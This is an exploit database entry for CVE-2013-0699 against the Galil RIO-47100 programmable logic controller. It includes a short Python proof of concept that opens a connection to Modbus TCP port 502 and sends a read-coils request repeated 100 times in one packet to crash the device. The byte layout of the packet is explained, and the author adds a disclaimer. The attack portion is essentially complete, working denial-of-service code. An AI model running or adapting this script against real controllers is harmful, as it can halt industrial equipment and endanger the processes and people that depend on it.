# Exploit Title: Galil RIO-47100 
# Date: 05-01-2013 
# Exploit Author: Sapling 
# Vendor Homepage: www.galilmc.com 
# Version: Rio Firmware Prior to 1.1d 
# CVE : CVE-2013-0699 
# ICSA: ICSA-13-116-01 
   
/* There are many different ways to crash this PLC but most of them are 
centralized around the repeating a request in a single packet format. So 
read a coil repeated in a single packet. 
The Rio-47100 by Galil is a small PLC with an internal RISC based 
processor. It communicates using ModBus, or Telnet over Ethernet as well as 
having a web server built in that allows a user to issue commands. 
I take no responsibility for the use of this code and using this code you 
agree to take responsibility for your own actions. */ 
   
   
# Python Proof of concept 
# A quick run down of the last half start at \x06 
# \x06 length 
# \x01 unit id 
# \x01 function code (read coils) 
# \x00\x00 start address 
# \x00\x01 coil quantity 
# Repeat the request in the packet 100 times 
# Unfortunateley I can't remember the minimum number of times you have to 
repeat to cause the crash 
   
import sys 
import socket 
   
new = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP 
Address 
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100) 
  
# D897602BBEAFA5DA   1337day.com [2013-08-05]   2837242F4A2BB92B #